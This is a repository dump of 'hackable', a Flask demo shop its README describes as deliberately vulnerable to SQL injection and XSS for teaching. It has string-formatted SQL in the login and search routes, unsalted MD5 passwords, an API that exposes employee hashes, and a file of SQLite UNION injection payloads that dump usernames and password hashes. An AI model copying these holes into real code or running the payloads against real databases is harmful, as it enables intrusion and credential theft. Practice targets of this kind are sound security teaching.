├── .DS_Store ├── Commands For Sqlite Hack.txt ├── README.md ├── main.py ├── sample.db ├── static ├── script.js └── style.css ├── templates ├── base.html ├── error.html ├── index.html ├── login.html └── restock.html └── test.sql /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JasonHinds13/hackable/c7b971ed55b74a5695d14212a6e4df9188c3f035/.DS_Store -------------------------------------------------------------------------------- /Commands For Sqlite Hack.txt: -------------------------------------------------------------------------------- 1 | 2 | COMMANDS FOR SQL INJECTION (SQLITE) 3 | 4 | #Check if it can work 5 | juice' UNION SELECT 1,2,3 from sqlite_master WHERE type="table"; -- 6 | 7 | //slite_master is a default table in a sqlite database that stores info on each table in the db. 8 | 9 | #Get names of tables from master table (sql gives the table info) 10 | juice' UNION SELECT name,sql,3 from sqlite_master WHERE type="table"; -- 11 | 12 | //name and sql are columns in sqlite master. name gives the name of the table and sql gives 13 | //sql info for the table (like the columns). 14 | 15 | #Get info from the 2 columns and make a third column 16 | juice' UNION SELECT username,password,3 from employees;-- 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hackable 2 | A python flask app that is purposfully vulnerable to SQL injection and XSS attacks 3 | 4 | # How to run 5 | Just `cd` into the hackable folder and type into the termnial `python main.py` 6 | 7 | # Notes 8 | * test.sql is just there to help to visualize what is happening with sql queries during the demo 9 | * Commands For Sqlite Hack.txt is there to show the sql statements used during the demo and explain them 10 | * The search page is vulnerable to SQL injections 11 | * The add items page is vulnerable to XSS 12 | * The login page is also vulnerable to SQL injection making it easy to bypass login 13 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import sqlite3, os, hashlib 2 | from flask import Flask, jsonify, render_template, request, g 3 | 4 | app = Flask(__name__) 5 | app.database = "sample.db" 6 | 7 | @app.route('/') 8 | def index(): 9 | return render_template('index.html') 10 | 11 | @app.route('/login') 12 | def login(): 13 | return render_template('login.html') 14 | 15 | @app.route('/restock') 16 | def restock(): 17 | return render_template('restock.html') 18 | 19 | #API routes 20 | @app.route('/api/v1.0/storeLoginAPI/', methods=['POST']) 21 | def loginAPI(): 22 | if request.method == 'POST': 23 | uname,pword = (request.json['username'],request.json['password']) 24 | g.db = connect_db() 25 | cur = g.db.execute("SELECT * FROM employees WHERE username = '%s' AND password = '%s'" %(uname, hash_pass(pword))) 26 | if cur.fetchone(): 27 | result = {'status': 'success'} 28 | else: 29 | result = {'status': 'fail'} 30 | g.db.close() 31 | return jsonify(result) 32 | 33 | @app.route('/api/v1.0/storeAPI', methods=['GET', 'POST']) 34 | def storeapi(): 35 | if request.method == 'GET': 36 | g.db = connect_db() 37 | curs = g.db.execute("SELECT * FROM shop_items") 38 | cur2 = g.db.execute("SELECT * FROM employees") 39 | items = [{'items':[dict(name=row[0], quantity=row[1], price=row[2]) for row in curs.fetchall()]}] 40 | empls = [{'employees':[dict(username=row[0], password=row[1]) for row in cur2.fetchall()]}] 41 | g.db.close() 42 | return jsonify(items+empls) 43 | 44 | elif request.method == 'POST': 45 | g.db = connect_db() 46 | name,quan,price = (request.json['name'],request.json['quantity'],request.json['price']) 47 | curs = g.db.execute("""INSERT INTO shop_items(name, quantitiy, price) VALUES(?,?,?)""", (name, quan, price)) 48 | g.db.commit() 49 | g.db.close() 50 | return jsonify({'status':'OK','name':name,'quantity':quan,'price':price}) 51 | 52 | @app.route('/api/v1.0/storeAPI/', methods=['GET']) 53 | def searchAPI(item): 54 | g.db = connect_db() 55 | #curs = g.db.execute("SELECT * FROM shop_items WHERE name=?", item) #The safe way to actually get data from db 56 | curs = g.db.execute("SELECT * FROM shop_items WHERE name = '%s'" %item) 57 | results = [dict(name=row[0], quantity=row[1], price=row[2]) for row in curs.fetchall()] 58 | g.db.close() 59 | return jsonify(results) 60 | 61 | @app.errorhandler(404) 62 | def page_not_found_error(error): 63 | return render_template('error.html', error=error) 64 | 65 | @app.errorhandler(500) 66 | def internal_server_error(error): 67 | return render_template('error.html', error=error) 68 | 69 | def connect_db(): 70 | return sqlite3.connect(app.database) 71 | 72 | # Create password hashes 73 | def hash_pass(passw): 74 | m = hashlib.md5() 75 | m.update(passw.encode('utf-8')) 76 | return m.hexdigest() 77 | 78 | if __name__ == "__main__": 79 | 80 | #create database if it doesn't exist yet 81 | if not os.path.exists(app.database): 82 | with sqlite3.connect(app.database) as connection: 83 | c = connection.cursor() 84 | c.execute("""CREATE TABLE shop_items(name TEXT, quantitiy TEXT, price TEXT)""") 85 | c.execute("""CREATE TABLE employees(username TEXT, password TEXT)""") 86 | c.execute('INSERT INTO shop_items VALUES("water", "40", "100")') 87 | c.execute('INSERT INTO shop_items VALUES("juice", "40", "110")') 88 | c.execute('INSERT INTO shop_items VALUES("candy", "100", "10")') 89 | c.execute('INSERT INTO employees VALUES("itsjasonh", "{}")'.format(hash_pass("badword"))) 90 | c.execute('INSERT INTO employees VALUES("theeguy9", "{}")'.format(hash_pass("badpassword"))) 91 | c.execute('INSERT INTO employees VALUES("newguy29", "{}")'.format(hash_pass("pass123"))) 92 | connection.commit() 93 | connection.close() 94 | 95 | app.run(host='0.0.0.0') # runs on machine ip address to make it visible on netowrk 96 | -------------------------------------------------------------------------------- /sample.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JasonHinds13/hackable/c7b971ed55b74a5695d14212a6e4df9188c3f035/sample.db -------------------------------------------------------------------------------- /static/script.js: -------------------------------------------------------------------------------- 1 | //Using our API 2 | 3 | function login(){ 4 | var uname = document.getElementById("uname").value; 5 | var passw = document.getElementById("passw").value; 6 | 7 | var dat = {'username':uname, 'password':passw}; 8 | 9 | $.ajax('/api/v1.0/storeLoginAPI/',{ 10 | method: 'POST', 11 | data: JSON.stringify(dat), 12 | dataType: "json", 13 | contentType: "application/json", 14 | }).done(function(res){ 15 | 16 | if (res['status'] == 'success'){ 17 | $("#stat").html('Successful Login'); 18 | } 19 | else{ 20 | $("#stat").html('Login Failed'); 21 | } 22 | 23 | }).fail(function(err){ 24 | $("#stat").html(err); 25 | }); 26 | } 27 | 28 | function search(){ 29 | var item = document.getElementById("searchItem").value; 30 | 31 | $.ajax('/api/v1.0/storeAPI/'+item,{ 32 | method: 'GET', 33 | }).done(function(res){ 34 | 35 | $(".res").remove(); //remove previous results 36 | 37 | $(res).each(function(){ 38 | var r = ""+this['name']+""; 39 | r += ""+this['quantity']+""; 40 | r += ""+this['price']+""; 41 | $("#results").append(r); 42 | }); 43 | 44 | }).fail(function(err){ 45 | $("#stat").html(err); 46 | }); 47 | } 48 | 49 | function addItem(){ 50 | var name = document.getElementById("itemName").value; 51 | var quan = document.getElementById("itemQuantity").value; 52 | var price = document.getElementById("itemPrice").value; 53 | 54 | var dat = {'name':name, 'quantity':quan, 'price':price}; 55 | 56 | $.ajax('/api/v1.0/storeAPI',{ 57 | method: 'POST', 58 | data: JSON.stringify(dat), 59 | dataType: "json", 60 | contentType: "application/json", 61 | }).done(function(res){ 62 | $("#stat").html("Successfully Added"); 63 | }).fail(function(err){ 64 | $("#stat").html("Error Sending Request"); 65 | }); 66 | } 67 | 68 | $(document).ready(function(){ 69 | 70 | $("#navbar ul li a").on('click', function(event){ 71 | event.preventDefault(); 72 | var page = $(this).attr("href"); 73 | 74 | $("#main").load(page); 75 | }); 76 | }); 77 | -------------------------------------------------------------------------------- /static/style.css: -------------------------------------------------------------------------------- 1 | table, th, td { 2 | border: 1px solid black; 3 | border-collapse: collapse; 4 | } 5 | 6 | .button{ 7 | background-color: blue; 8 | color: white; 9 | border: none; 10 | height: 25px; 11 | width: 100px; 12 | font-weight: bold; 13 | } 14 | 15 | #content{ 16 | margin: auto; 17 | width: 1000px; 18 | text-align: center; 19 | border: 2px solid blue; 20 | padding-bottom: 30px; 21 | } 22 | 23 | table{ 24 | margin-left: center; 25 | margin-right: center; 26 | width: 50%; 27 | } 28 | 29 | #navbar 30 | { 31 | position: relative; 32 | } 33 | 34 | #navbar ul 35 | { 36 | list-style-type: none; 37 | margin: 0; 38 | padding: 0; 39 | overflow: hidden; 40 | background-color: blue; 41 | position: fixed; 42 | top: 0; 43 | width: 100%; 44 | } 45 | 46 | #navbar ul li 47 | { 48 | float: left; 49 | } 50 | 51 | #navbar ul li a 52 | { 53 | display: block; 54 | color: white; 55 | border-radius: 5px 5px; 56 | text-align: center; 57 | padding: 14px 16px; 58 | text-decoration: none; 59 | } 60 | -------------------------------------------------------------------------------- /templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {% block title %}{% endblock %} 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 18 | 19 |



20 | 21 | {% block content %} 22 | {% endblock %} 23 |
24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /templates/error.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}Error Detected{% endblock %} 4 | 5 | {% block content %} 6 | 7 |
8 | 9 |

10 | 11 |

Welcome To BasicStore Online

12 |

Error Page


13 | 14 |

{{ error }}

15 | 16 |

17 | 18 |

19 | 20 |
21 | {% endblock %} 22 | -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}Store Homepage{% endblock %} 4 | 5 | {% block content %} 6 | 7 |
8 | 9 |

10 | 11 |

Welcome To BasicStore Online

12 |

Search For An Item


13 | 14 |
15 | 16 | 17 |
18 | 19 |

20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 |
NameQuantityPrice
28 | 29 |

30 | 31 |
32 | {% endblock %} 33 | -------------------------------------------------------------------------------- /templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}Login To Store{% endblock %} 4 | 5 | {% block content %} 6 | 7 |
8 | 9 |

10 | 11 |

Welcome To BasicStore Online

12 |

Login Below


13 | 14 |
15 | Username: 16 | Password: 17 | 18 |
19 | 20 |

21 | 22 |

23 | 24 |
25 | {% endblock %} 26 | -------------------------------------------------------------------------------- /templates/restock.html: -------------------------------------------------------------------------------- 1 | {% extends 'base.html' %} 2 | 3 | {% block title %}Add To Store{% endblock %} 4 | 5 | {% block content %} 6 | 7 |
8 | 9 |

10 | 11 |

Welcome To BasicStore Online

12 |

Add An Item To The Shop


13 | 14 |
15 | Item Name:

16 | Quantity:

17 | Price:

18 | 19 |
20 | 21 |

22 | 23 |

24 | 25 |
26 | {% endblock %} 27 | -------------------------------------------------------------------------------- /test.sql: -------------------------------------------------------------------------------- 1 | SELECT ?,?,? FROM ? WHERE name='juice'; 2 | --------------------------------------------------------------------------------